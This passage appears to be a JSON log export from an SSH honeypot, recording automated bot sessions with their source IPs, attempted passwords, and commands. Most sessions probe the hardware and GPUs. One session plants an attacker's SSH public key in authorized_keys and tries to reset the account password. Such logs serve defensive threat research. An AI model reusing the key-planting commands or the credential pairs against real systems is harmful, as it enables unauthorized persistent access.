-l"},{"seq":15,"at":"2026-08-27T13:40:07.748326+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T13:40:07.749022+00:00","kind":"output","latency_ms":null,"data":" 13:40:07 up 7 days, 10:30, 0 user, load average: 0.33, 0.42, 0.33\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T13:40:08.573924+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T13:40:08.574427+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T13:40:09.399659+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T13:40:09.400037+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T13:40:10.441512+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T13:40:10.442105+00:00","kind":"output","latency_ms":null,"data":"top - 13:40:10 up 7 days, 10:30, 0 user, load average: 0.33, 0.42, 0.33\nTasks: 106 total, 1 running, 105 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9532 free, 6355 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T13:40:11.290343+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T13:40:11.291064+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T13:40:12.123110+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T13:40:12.123693+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T13:40:12.958327+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T13:40:12.960929+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T13:40:13.822007+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T13:40:14.471160+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T13:40:15.294720+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T13:40:15.878969+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"123_asdf","method":"password","accepted":true,"tier":"other"}]} {"id":"ae88c9bc-81bc-4548-9f19-ded6c0846091","name":"nameless-vaulted-porcupine","protocol":"ssh","channel_kind":null,"src_ip":"103.4.145.50","src_port":39020,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:39:58.641193+00:00","ended_at":"2026-08-27T13:40:00.485678+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"8dc47467-ee3a-4411-8bde-3437df057fac","name":"ginger-electric-bowerbird","protocol":"ssh","channel_kind":null,"src_ip":"103.4.145.50","src_port":37938,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:39:55.181746+00:00","ended_at":"2026-08-27T13:39:56.996212+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"bbec67c6-7071-4f6b-b5d6-627c9158525b","name":"spirited-candid-rook","protocol":"ssh","channel_kind":"exec","src_ip":"2.57.122.53","src_port":39096,"username":"xumm","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":210,"probe_flagged":0,"exec_command":"/bin/./uname -s -v -n -r -m","started_at":"2026-08-27T13:38:27.471345+00:00","ended_at":"2026-08-27T13:38:27.572345+00:00","ended_reason":"exec complete","commands":7,"transcript_bytes":738,"events":[{"seq":1,"at":"2026-08-27T13:38:25.640154+00:00","kind":"input","latency_ms":null,"data":"/bin/./uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-27T13:38:26.222783+00:00","kind":"output","latency_ms":null,"data":""},{"seq":3,"at":"2026-08-27T13:38:26.435658+00:00","kind":"input","latency_ms":null,"data":"uptime -p"},{"seq":4,"at":"2026-08-27T13:38:26.436331+00:00","kind":"output","latency_ms":null,"data":" 13:38:26 up 7 days, 10:28, 0 user, load average: 0.15, 0.19, 0.12"},{"seq":5,"at":"2026-08-27T13:38:26.647305+00:00","kind":"input","latency_ms":null,"data":"lspci | grep VGA | cut -f5- -d ' '"},{"seq":6,"at":"2026-08-27T13:38:26.647796+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":7,"at":"2026-08-27T13:38:26.849837+00:00","kind":"input","latency_ms":null,"data":"lspci | grep VGA -c"},{"seq":8,"at":"2026-08-27T13:38:26.850276+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":9,"at":"2026-08-27T13:38:27.062696+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | head -n 1 | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}'"},{"seq":10,"at":"2026-08-27T13:38:27.065282+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":11,"at":"2026-08-27T13:38:27.266738+00:00","kind":"input","latency_ms":null,"data":"lspci | grep \"3D controller\" | cut -f5- -d ' '"},{"seq":12,"at":"2026-08-27T13:38:27.267533+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":13,"at":"2026-08-27T13:38:27.472096+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | grep . -c "},{"seq":14,"at":"2026-08-27T13:38:27.472695+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"}],"credentials":[{"username":"xumm","password":"xumm","method":"password","accepted":true,"tier":"other"}]} {"id":"1276b334-d8f4-44cb-8043-67c41dc46e0b","name":"courtly-languid-tapir","protocol":"ssh","channel_kind":"exec","src_ip":"164.92.161.148","src_port":53940,"username":"ubuntu","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":314,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T13:38:14.619040+00:00","ended_at":"2026-08-27T13:38:15.269839+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2046,"events":[{"seq":1,"at":"2026-08-27T13:38:03.456555+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T13:38:03.772081+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T13:38:07.953721+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T13:38:07.954216+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T13:38:08.272119+00:00","kind":"input","latency_ms":null,"data":"echo -e \"root123\\nLQrcOtCJGyWi\\nLQrcOtCJGyWi\"|passwd|bash"},{"seq":6,"at":"2026-08-27T13:38:08.579750+00:00","kind":"input","latency_ms":null,"data":"echo \"root123\\nLQrcOtCJGyWi\\nLQrcOtCJGyWi\\n\"|passwd"},{"seq":7,"at":"2026-08-27T13:38:08.891081+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T13:38:08.891638+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T13:38:09.204420+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T13:38:09.802746+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T13:38:10.116684+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T13:38:10.907247+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T13:38:11.220752+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T13:38:11.223092+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-27T13:38:11.534074+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T13:38:11.534553+00:00","kind":"output","latency_ms":null,"data":" 13:38:11 up 7 days, 10:28, 0 user, load average: 0.09, 0.06, 0.07\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T13:38:11.847782+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T13:38:11.848300+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T13:38:12.162081+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T13:38:12.162511+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T13:38:12.478583+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T13:38:12.479279+00:00","kind":"output","latency_ms":null,"data":"top - 13:38:12 up 7 days, 10:28, 0 user, load average: 0.09, 0.06, 0.07\nTasks: 111 total, 1 running, 110 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9056 free, 6831 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T13:38:12.790906+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T13:38:12.791261+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T13:38:13.110756+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T13:38:13.111234+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T13:38:13.425310+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T13:38:13.426104+00:00","kind":"output","latency_ms":null,"data":"ubuntu"},{"seq":29,"at":"2026-08-27T13:38:13.742189+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T13:38:14.306158+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T13:38:14.619813+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T13:38:15.176965+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"ubuntu","password":"root123","method":"password","accepted":true,"tier":"other"}]} {"id":"347b6ca1-7307-48a9-baf5-0be967f4b715","name":"nimble-dutiful-penguin","protocol":"ssh","channel_kind":null,"src_ip":"164.92.161.148","src_port":53956,"username":"ubuntu","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:38:06.779858+00:00","ended_at":"2026-08-27T13:38:07.859605+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"ubuntu","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"547dd0d7-55c6-488b-9ffe-ea18beee5aaf","name":"ivory-gleaming-marten","protocol":"ssh","channel_kind":null,"src_ip":"164.92.161.148","src_port":53944,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:38:04.487353+00:00","ended_at":"2026-08-27T13:38:06.165411+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"a98dcfac-0eb4-4c3e-ab36-64050a63c4a2","name":"earnest-plucky-crossbill","protocol":"ssh","channel_kind":null,"src_ip":"201.249.166.171","src_port":46602,"username":"student","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:37:52.676423+00:00","ended_at":"2026-08-27T13:37:54.007717+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"student","password":"student","method":"password","accepted":false,"tier":"other"}]} {"id":"8b81f265-04d0-428f-89ae-53a81aa90ad7","name":"polar-solemn-serval","protocol":"ssh","channel_kind":"exec","src_ip":"2.57.122.53","src_port":57280,"username":"centos","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":199,"probe_flagged":0,"exec_command":"/bin/./uname -s -v -n -r -m","started_at":"2026-08-27T13:35:04.990130+00:00","ended_at":"2026-08-27T13:35:05.090572+00:00","ended_reason":"exec complete","commands":7,"transcript_bytes":738,"events":[{"seq":1,"at":"2026-08-27T13:35:02.948199+00:00","kind":"input","latency_ms":null,"data":"/bin/./uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-27T13:35:03.789814+00:00","kind":"output","latency_ms":null,"data":""},{"seq":3,"at":"2026-08-27T13:35:03.988803+00:00","kind":"input","latency_ms":null,"data":"uptime -p"},{"seq":4,"at":"2026-08-27T13:35:03.989254+00:00","kind":"output","latency_ms":null,"data":" 13:35:03 up 7 days, 10:25, 0 user, load average: 0.11, 0.11, 0.08"},{"seq":5,"at":"2026-08-27T13:35:04.188899+00:00","kind":"input","latency_ms":null,"data":"lspci | grep VGA | cut -f5- -d ' '"},{"seq":6,"at":"2026-08-27T13:35:04.189389+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":7,"at":"2026-08-27T13:35:04.390466+00:00","kind":"input","latency_ms":null,"data":"lspci | grep VGA -c"},{"seq":8,"at":"2026-08-27T13:35:04.390826+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":9,"at":"2026-08-27T13:35:04.587990+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | head -n 1 | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}'"},{"seq":10,"at":"2026-08-27T13:35:04.588506+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":11,"at":"2026-08-27T13:35:04.789302+00:00","kind":"input","latency_ms":null,"data":"lspci | grep \"3D controller\" | cut -f5- -d ' '"},{"seq":12,"at":"2026-08-27T13:35:04.789958+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":13,"at":"2026-08-27T13:35:04.990949+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | grep . -c "},{"seq":14,"at":"2026-08-27T13:35:04.991412+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"}],"credentials":[{"username":"centos","password":"123","method":"password","accepted":true,"tier":"other"}]} {"id":"9b6fd810-e1d0-4ee1-8206-8a91e8c2ee4e","name":"leafy-scarlet-nightjar","protocol":"ssh","channel_kind":null,"src_ip":"103.4.145.50","src_port":52358,"username":"manasa","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:34:40.913339+00:00","ended_at":"2026-08-27T13:34:42.722497+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"manasa","password":"manasa123","method":"password","accepted":false,"tier":"other"}]} {"id":"bb15d24c-c6df-4f3b-bde5-f6e47f5a7d60","name":"frank-weathered-seal","protocol":"ssh","channel_kind":"exec","src_ip":"2.57.122.53","src_port":47590,"username":"zhenshan","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":198,"probe_flagged":0,"exec_command":"/bin/./uname -s -v -n -r -m","started_at":"2026-08-27T13:31:49.746095+00:00","ended_at":"2026-08-27T13:31:49.846699+00:00","ended_reason":"exec complete","commands":7,"transcript_bytes":738,"events":[{"seq":1,"at":"2026-08-27T13:31:47.401122+00:00","kind":"input","latency_ms":null,"data":"/bin/./uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-27T13:31:48.550070+00:00","kind":"output","latency_ms":null,"data":""},{"seq":3,"at":"2026-08-27T13:31:48.751285+00:00","kind":"input","latency_ms":null,"data":"uptime -p"},{"seq":4,"at":"2026-08-27T13:31:48.751939+00:00","kind":"output","latency_ms":null,"data":" 13:31:48 up 7 days, 10:21, 0 user, load average: 0.06, 0.04, 0.04"},{"seq":5,"at":"2026-08-27T13:31:48.949727+00:00","kind":"input","latency_ms":null,"data":"lspci | grep VGA | cut -f5- -d ' '"},{"seq":6,"at":"2026-08-27T13:31:48.950440+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":7,"at":"2026-08-27T13:31:49.150170+00:00","kind":"input","latency_ms":null,"data":"lspci | grep VGA -c"},{"seq":8,"at":"2026-08-27T13:31:49.150497+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":9,"at":"2026-08-27T13:31:49.349284+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | head -n 1 | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}'"},{"seq":10,"at":"2026-08-27T13:31:49.349853+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":11,"at":"2026-08-27T13:31:49.547989+00:00","kind":"input","latency_ms":null,"data":"lspci | grep \"3D controller\" | cut -f5- -d ' '"},{"seq":12,"at":"2026-08-27T13:31:49.548503+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":13,"at":"2026-08-27T13:31:49.747115+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | grep . -c "},{"seq":14,"at":"2026-08-27T13:31:49.747737+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"}],"credentials":[{"username":"zhenshan","password":"zhenshan","method":"password","accepted":true,"tier":"other"}]} {"id":"56a3df3c-7288-451f-97b1-2425386c8d69","name":"restless-thawing-turnstone","protocol":"ssh","channel_kind":"exec","src_ip":"2.57.122.53","src_port":41416,"username":"admin","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":196,"probe_flagged":0,"exec_command":"/bin/./uname -s -v -n -r -m","started_at":"2026-08-27T13:28:29.023148+00:00","ended_at":"2026-08-27T13:28:29.120002+00:00","ended_reason":"exec complete","commands":7,"transcript_bytes":738,"events":[{"seq":1,"at":"2026-08-27T13:28:26.867259+00:00","kind":"input","latency_ms":null,"data":"/bin/./uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-27T13:28:27.844947+00:00","kind":"output","latency_ms":null,"data":""},{"seq":3,"at":"2026-08-27T13:28:28.032654+00:00","kind":"input","latency_ms":null,"data":"uptime -p"},{"seq":4,"at":"2026-08-27T13:28:28.053937+00:00","kind":"output","latency_ms":null,"data":" 13:28:28 up 7 days, 10:18, 0 user, load average: 0.29, 0.37, 0.28"},{"seq":5,"at":"2026-08-27T13:28:28.235215+00:00","kind":"input","latency_ms":null,"data":"lspci | grep VGA | cut -f5- -d ' '"},{"seq":6,"at":"2026-08-27T13:28:28.236279+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":7,"at":"2026-08-27T13:28:28.432502+00:00","kind":"input","latency_ms":null,"data":"lspci | grep VGA -c"},{"seq":8,"at":"2026-08-27T13:28:28.433124+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":9,"at":"2026-08-27T13:28:28.627407+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | head -n 1 | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}'"},{"seq":10,"at":"2026-08-27T13:28:28.628102+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":11,"at":"2026-08-27T13:28:28.825316+00:00","kind":"input","latency_ms":null,"data":"lspci | grep \"3D controller\" | cut -f5- -d ' '"},{"seq":12,"at":"2026-08-27T13:28:28.825957+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":13,"at":"2026-08-27T13:28:29.024221+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | grep . -c "},{"seq":14,"at":"2026-08-27T13:28:29.024956+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"}],"credentials":[{"username":"admin","password":"ubuntu@123","method":"password","accepted":true,"tier":"other"}]} {"id":"bd0654fe-eab4-4657-b2dc-9836b47b4a66","name":"distant-fickle-pika","protocol":"ssh","channel_kind":"exec","src_ip":"2.57.122.53","src_port":36984,"username":"root","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":209,"probe_flagged":0,"exec_command":"/bin/./uname -s -v -n -r -m","started_at":"2026-08-27T13:25:10.581147+00:00","ended_at":"2026-08-27T13:25:10.689048+00:00","ended_reason":"exec complete","commands":7,"transcript_bytes":738,"events":[{"seq":1,"at":"2026-08-27T13:25:08.438122+00:00","kind":"input","latency_ms":null,"data":"/bin/./uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-27T13:25:09.324747+00:00","kind":"output","latency_ms":null,"data":""},{"seq":3,"at":"2026-08-27T13:25:09.536145+00:00","kind":"input","latency_ms":null,"data":"uptime -p"},{"seq":4,"at":"2026-08-27T13:25:09.537474+00:00","kind":"output","latency_ms":null,"data":" 13:25:09 up 7 days, 10:15, 0 user, load average: 0.17, 0.13, 0.11"},{"seq":5,"at":"2026-08-27T13:25:09.741356+00:00","kind":"input","latency_ms":null,"data":"lspci | grep VGA | cut -f5- -d ' '"},{"seq":6,"at":"2026-08-27T13:25:09.742073+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":7,"at":"2026-08-27T13:25:09.950871+00:00","kind":"input","latency_ms":null,"data":"lspci | grep VGA -c"},{"seq":8,"at":"2026-08-27T13:25:09.951897+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":9,"at":"2026-08-27T13:25:10.162152+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | head -n 1 | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}'"},{"seq":10,"at":"2026-08-27T13:25:10.162687+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":11,"at":"2026-08-27T13:25:10.372317+00:00","kind":"input","latency_ms":null,"data":"lspci | grep \"3D controller\" | cut -f5- -d ' '"},{"seq":12,"at":"2026-08-27T13:25:10.373183+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":13,"at":"2026-08-27T13:25:10.582005+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | grep . -c "},{"seq":14,"at":"2026-08-27T13:25:10.590322+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"}],"credentials":[{"username":"root","password":"1qaz@WSX","method":"password","accepted":true,"tier":"other"}]} {"id":"a805fd19-7bce-4f3a-b527-2556806387ae","name":"blunt-oaken-jaguar","protocol":"ssh","channel_kind":null,"src_ip":"113.191.145.50","src_port":54995,"username":"user","client_version":"SSH-2.0-PuTTY_Release_0.70","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:23:52.231016+00:00","ended_at":"2026-08-27T13:23:54.100337+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"user","password":"kisan","method":"password","accepted":true,"tier":"other"}]} {"id":"d02143b9-de4c-4dee-9576-5ee4e010bf68","name":"deft-hearty-saola","protocol":"ssh","channel_kind":"exec","src_ip":"2.57.122.53","src_port":51308,"username":"leaf","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":629,"probe_flagged":0,"exec_command":"/bin/./uname -s -v -n -r -m","started_at":"2026-08-27T13:21:51.595120+00:00","ended_at":"2026-08-27T13:21:52.272416+00:00","ended_reason":"exec complete","commands":7,"transcript_bytes":738,"events":[{"seq":1,"at":"2026-08-27T13:21:47.542717+00:00","kind":"input","latency_ms":null,"data":"/bin/./uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-27T13:21:48.455492+00:00","kind":"output","latency_ms":null,"data":""},{"seq":3,"at":"2026-08-27T13:21:48.668615+00:00","kind":"input","latency_ms":null,"data":"uptime -p"},{"seq":4,"at":"2026-08-27T13:21:48.669161+00:00","kind":"output","latency_ms":null,"data":" 13:21:48 up 7 days, 10:11, 0 user, load average: 0.14, 0.14, 0.15"},{"seq":5,"at":"2026-08-27T13:21:49.298301+00:00","kind":"input","latency_ms":null,"data":"lspci | grep VGA | cut -f5- -d ' '"},{"seq":6,"at":"2026-08-27T13:21:49.298853+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":7,"at":"2026-08-27T13:21:50.425545+00:00","kind":"input","latency_ms":null,"data":"lspci | grep VGA 